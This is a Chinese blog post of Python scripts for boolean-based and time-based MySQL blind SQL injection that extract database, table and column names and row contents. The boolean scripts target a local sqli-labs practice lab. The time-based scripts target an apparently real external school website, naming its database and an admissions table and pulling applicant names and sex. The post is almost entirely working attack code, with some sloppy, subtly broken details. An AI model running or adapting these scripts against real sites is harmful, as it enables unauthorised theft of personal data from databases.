mysql盲注脚本

1布尔盲注

        1 爆数据库名称

import requests
#1爆数据库名字
def blind_sql_injection(url):
    database_name = ""
    last_database_name = ""  # 上一次的数据库名
    i = 1
    while True:
        low = 32  # ASCII码的最小值
        high = 126  # ASCII码的最大值(可打印字符)
        while low <= high:
            mid = (low + high) // 2
            # 构造Payload,判断当前字符的ASCII码是否大于mid
            payload = f"1' and ascii(substr(database(),{i},1))>{mid}-- -"
            full_url = f"{url}?id={payload}"
            response = requests.get(full_url)
            if "You are in..........." in response.text:  # 你的提示字符串需要根据实际情况调整
                low = mid + 1  # 当前字符的ASCII码大于mid
            else:
                high = mid - 1  # 当前字符的ASCII码小于或等于mid
        # 当low > high时,说明找到了当前字符的ASCII码
        if low > high:
            char = chr(low)
            if char == '\x00':  # 如果字符为空,表示数据库名称已猜完
                print(f"Final database name: {database_name}")
                break  # 退出外层循环
            # 防止添加多余的空格
            if char != ' ':
                database_name += char
            print(f"Current database name: {database_name}")
            i += 1

            # 检查数据库名称是否已经稳定(即与上一次相同)
            if database_name == last_database_name:
                print("Database name has stabilized, ending loop.")
                break

            # 更新上一次的数据库名称
            last_database_name = database_name
        else:
            # 如果没有找到字符,说明数据库名称已猜完
            break
    return database_name

运行截图

2爆指定数据库的表名

import requests

def blind_sql_injection(url):
    database_name = ""
    last_database_name = ""  # 上一次的数据库名
    i = 1
    while True:
        low = 32  # ASCII码的最小值
        high = 126  # ASCII码的最大值(可打印字符)
        while low <= high:
            mid = (low + high) // 2
            # 构造Payload,判断当前字符的ASCII码是否大于mid
            payload = f"1' AND ascii(substr((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),{i},1)) > {mid} -- -"
            full_url = f"{url}?id={payload}"
            response = requests.get(full_url)
            if "You are in..........." in response.text:  # 你的提示字符串需要根据实际情况调整
                low = mid + 1  # 当前字符的ASCII码大于mid
            else:
                high = mid - 1  # 当前字符的ASCII码小于或等于mid
        # 当low > high时,说明找到了当前字符的ASCII码
        if low > high:
            char = chr(low)
            if char == '\x00':  # 如果字符为空,表示数据库名称已猜完
                print(f"Final database name: {database_name}")
                break  # 退出外层循环
            # 防止添加多余的空格
            if char != ' ':
                database_name += char
            print(f"Current database name: {database_name}")
            i += 1

            # 检查数据库名称是否已经稳定(即与上一次相同)
            if database_name == last_database_name:
                print("Database name has stabilized, ending loop.")
                break

            # 更新上一次的数据库名称
            last_database_name = database_name
        else:
            # 如果没有找到字符,说明数据库名称已猜完
            break
    return database_name


if __name__ == "__main__":
    url = "http://127.0.0.1/sqli-labs-master/Less-8/"
    db_name = blind_sql_injection(url)
    print(f"Database name: {db_name}")

运行截图

3爆指定库指定表的列名

import requests

def blind_sql_injection(url):
    database_name = ""
    last_database_name = ""  # 上一次的数据库名
    i = 1
    while True:
        low = 32  # ASCII码的最小值
        high = 126  # ASCII码的最大值(可打印字符)
        while low <= high:
            mid = (low + high) // 2
            # 构造Payload,判断当前字符的ASCII码是否大于mid
            payload = f"1' AND ascii(substr((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' and table_name='users'),{i},1)) > {mid} -- -"
            full_url = f"{url}?id={payload}"
            response = requests.get(full_url)
            if "You are in..........." in response.text:  # 你的提示字符串需要根据实际情况调整
                low = mid + 1  # 当前字符的ASCII码大于mid
            else:
                high = mid - 1  # 当前字符的ASCII码小于或等于mid
        # 当low > high时,说明找到了当前字符的ASCII码
        if low > high:
            char = chr(low)
            if char == '\x00':  # 如果字符为空,表示数据库名称已猜完
                print(f"Final database name: {database_name}")
                break  # 退出外层循环
            # 防止添加多余的空格
            if char != ' ':
                database_name += char
            print(f"Current database name: {database_name}")
            i += 1

            # 检查数据库名称是否已经稳定(即与上一次相同)
            if database_name == last_database_name:
                print("Database name has stabilized, ending loop.")
                break

            # 更新上一次的数据库名称
            last_database_name = database_name
        else:
            # 如果没有找到字符,说明数据库名称已猜完
            break
    return database_name


if __name__ == "__main__":
    url = "http://127.0.0.1/sqli-labs-master/Less-8/"
    db_name = blind_sql_injection(url)
    print(f"Database name: {db_name}")

运行截图

4爆指定表内容

import requests
#
#爆表内容
def blind_sql_injection(url):
    database_name = ""
    last_database_name = ""  # 上一次的数据库名
    i = 1
    while True:
        low = 32  # ASCII码的最小值
        high = 126  # ASCII码的最大值(可打印字符)
        while low <= high:
            mid = (low + high) // 2
            # 构造Payload,判断当前字符的ASCII码是否大于mid
            payload = f"1' AND ascii(substr((SELECT group_concat(username) FROM users),{i},1)) > {mid} -- -"
            full_url = f"{url}?id={payload}"
            response = requests.get(full_url)
            if "You are in..........." in response.text:  # 你的提示字符串需要根据实际情况调整
                low = mid + 1  # 当前字符的ASCII码大于mid
            else:
                high = mid - 1  # 当前字符的ASCII码小于或等于mid
        # 当low > high时,说明找到了当前字符的ASCII码
        if low > high:
            char = chr(low)
            if char == '\x00':  # 如果字符为空,表示数据库名称已猜完
                print(f"Final database name: {database_name}")
                break  # 退出外层循环
            # 防止添加多余的空格
            if char != ' ':
                database_name += char
            print(f"Current database name: {database_name}")
            i += 1

            # 检查数据库名称是否已经稳定(即与上一次相同)
            if database_name == last_database_name:
                print("Database name has stabilized, ending loop.")
                break

            # 更新上一次的数据库名称
            last_database_name = database_name
        else:
            # 如果没有找到字符,说明数据库名称已猜完
            break
    return database_name


if __name__ == "__main__":
    url = "http://127.0.0.1/sqli-labs-master/Less-8/"
    db_name = blind_sql_injection(url)
    print(f"Database name: {db_name}")

运行截图

2时间盲注

1爆数据库名

import requests
import time  # 导入 time 模块

def blind_sql_injection(url):
    database_name = ""
    last_database_name = ""  # 上一次的数据库名
    i = 1
    while True:
        low = 32  # ASCII码的最小值
        high = 126  # ASCII码的最大值(可打印字符)
        while low <= high:
            mid = (low + high) // 2
            # 构造Payload,判断当前字符的ASCII码是否大于mid
            payload = f"4 AND if(ascii(substr(database(),{i},1)) > {mid},sleep(2),0)"
            full_url = url+payload # 拼接完整的URL,记得加上问号参数
            begin = time.time()  # 记录请求开始时间
            response = requests.get(full_url)
            end = time.time()  # 记录请求结束时间

            # 判断响应时间是否延迟了2秒,来判断字符的ASCII码是否大于mid
            response_time = end - begin
            print(f"Testing {chr(mid)} - Response time: {response_time:.2f}s")  # 输出当前字符和响应时间

            if response_time >= 2:  # 如果响应时间大于等于2秒,说明当前字符的ASCII码大于mid
                low = mid + 1
            else:
                high = mid - 1

        # 当low > high时,说明找到了当前字符的ASCII码
        if low > high:
            char = chr(low)
            if char == '\x00':  # 如果字符为空,表示数据库名称已猜完
                print(f"Final database name: {database_name}")
                break  # 退出外层循环
            # 防止添加多余的空格
            if char != ' ':
                database_name += char
            print(f"Current database name: {database_name}")
            i += 1

            # 检查数据库名称是否已经稳定(即与上一次相同)
            if database_name == last_database_name:
                print("Database name has stabilized, ending loop.")
                break

            # 更新上一次的数据库名称
            last_database_name = database_name
        else:
            # 如果没有找到字符,说明数据库名称已猜完
            break
    return database_name


if __name__ == "__main__":
    url = "http://zs.bxait.cn/list/"  # 填写正确的URL
    db_name = blind_sql_injection(url)
    print(f"Database name: {db_name}")

运行截图

2爆数据表名

import requests
import time  # 导入 time 模块

def blind_sql_injection(url):
    database_name = ""
    last_database_name = ""  # 上一次的数据库名
    i = 1
    while True:
        low = 32  # ASCII码的最小值
        high = 126  # ASCII码的最大值(可打印字符)
        while low <= high:
            mid = (low + high) // 2
            # 构造Payload,判断当前字符的ASCII码是否大于mid
            payload = f"4 AND if(ascii(substr((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='gsxy_com'),{i},1)) > {mid},sleep(2),0)"
            full_url = url+payload # 拼接完整的URL,记得加上问号参数
            begin = time.time()  # 记录请求开始时间
            response = requests.get(full_url)
            end = time.time()  # 记录请求结束时间

            # 判断响应时间是否延迟了2秒,来判断字符的ASCII码是否大于mid
            response_time = end - begin
            print(f"Testing {chr(mid)} - Response time: {response_time:.2f}s")  # 输出当前字符和响应时间

            if response_time >= 2:  # 如果响应时间大于等于2秒,说明当前字符的ASCII码大于mid
                low = mid + 1
            else:
                high = mid - 1

        # 当low > high时,说明找到了当前字符的ASCII码
        if low > high:
            char = chr(low)
            if char == '\x00':  # 如果字符为空,表示数据库名称已猜完
                print(f"Final database name: {database_name}")
                break  # 退出外层循环
            # 防止添加多余的空格
            if char != ' ':
                database_name += char
            print(f"Current database name: {database_name}")
            i += 1

            # 检查数据库名称是否已经稳定(即与上一次相同)
            if database_name == last_database_name:
                print("Database name has stabilized, ending loop.")
                break

            # 更新上一次的数据库名称
            last_database_name = database_name
        else:
            # 如果没有找到字符,说明数据库名称已猜完
            break
    return database_name


if __name__ == "__main__":
    url = "http://zs.bxait.cn/list/"  # 填写正确的URL
    db_name = blind_sql_injection(url)
    print(f"Database name: {db_name}")

 运行截图

3爆字段名

import requests
import time  # 导入 time 模块

def blind_sql_injection(url):
    database_name = ""
    last_database_name = ""  # 上一次的数据库名
    i = 1
    while True:
        low = 32  # ASCII码的最小值
        high = 126  # ASCII码的最大值(可打印字符)
        while low <= high:
            mid = (low + high) // 2
            # 构造Payload,判断当前字符的ASCII码是否大于mid
            payload = f"4 AND if(ascii(substr((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='gsxy_com' and table_name='admissions'),{i},1)) > {mid},sleep(2),0)"
            full_url = url+payload # 拼接完整的URL,记得加上问号参数
            begin = time.time()  # 记录请求开始时间
            response = requests.get(full_url)
            end = time.time()  # 记录请求结束时间

            # 判断响应时间是否延迟了2秒,来判断字符的ASCII码是否大于mid
            response_time = end - begin
            print(f"Testing {chr(mid)} - Response time: {response_time:.2f}s")  # 输出当前字符和响应时间

            if response_time >= 2:  # 如果响应时间大于等于2秒,说明当前字符的ASCII码大于mid
                low = mid + 1
            else:
                high = mid - 1

        # 当low > high时,说明找到了当前字符的ASCII码
        if low > high:
            char = chr(low)
            if char == '\x00':  # 如果字符为空,表示数据库名称已猜完
                print(f"Final database name: {database_name}")
                break  # 退出外层循环
            # 防止添加多余的空格
            if char != ' ':
                database_name += char
            print(f"Current database name: {database_name}")
            i += 1

            # 检查数据库名称是否已经稳定(即与上一次相同)
            if database_name == last_database_name:
                print("Database name has stabilized, ending loop.")
                break

            # 更新上一次的数据库名称
            last_database_name = database_name
        else:
            # 如果没有找到字符,说明数据库名称已猜完
            break
    return database_name


if __name__ == "__main__":
    url = "http://zs.bxait.cn/list/"  # 填写正确的URL
    db_name = blind_sql_injection(url)
    print(f"Database name: {db_name}")

4爆表内容

import requests
import time  # 导入 time 模块

def blind_sql_injection(url):
    database_name = ""
    last_database_name = ""  # 上一次的数据库名
    i = 1
    while True:
        low = 32  # ASCII码的最小值
        high = 126  # ASCII码的最大值(可打印字符)
        while low <= high:
            mid = (low + high) // 2
            # 构造Payload,判断当前字符的ASCII码是否大于mid
            payload = f"4 AND if(ascii(substr((SELECT group_concat(s_name-s_sex) FROM admissions),{i},1)) > {mid},sleep(2),0)"
            full_url = url+payload # 拼接完整的URL,记得加上问号参数
            begin = time.time()  # 记录请求开始时间
            response = requests.get(full_url)
            end = time.time()  # 记录请求结束时间

            # 判断响应时间是否延迟了2秒,来判断字符的ASCII码是否大于mid
            response_time = end - begin
            print(f"Testing {chr(mid)} - Response time: {response_time:.2f}s")  # 输出当前字符和响应时间

            if response_time >= 2:  # 如果响应时间大于等于2秒,说明当前字符的ASCII码大于mid
                low = mid + 1
            else:
                high = mid - 1

        # 当low > high时,说明找到了当前字符的ASCII码
        if low > high:
            char = chr(low)
            if char == '\x00':  # 如果字符为空,表示数据库名称已猜完
                print(f"Final database name: {database_name}")
                break  # 退出外层循环
            # 防止添加多余的空格
            if char != ' ':
                database_name += char
            print(f"Current database name: {database_name}")
            i += 1

            # 检查数据库名称是否已经稳定(即与上一次相同)
            if database_name == last_database_name:
                print("Database name has stabilized, ending loop.")
                break

            # 更新上一次的数据库名称
            last_database_name = database_name
        else:
            # 如果没有找到字符,说明数据库名称已猜完
            break
    return database_name


if __name__ == "__main__":
    url = "http://zs.bxait.cn/list/"  # 填写正确的URL
    db_name = blind_sql_injection(url)
    print(f"Database name: {db_name}")

运行截图

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值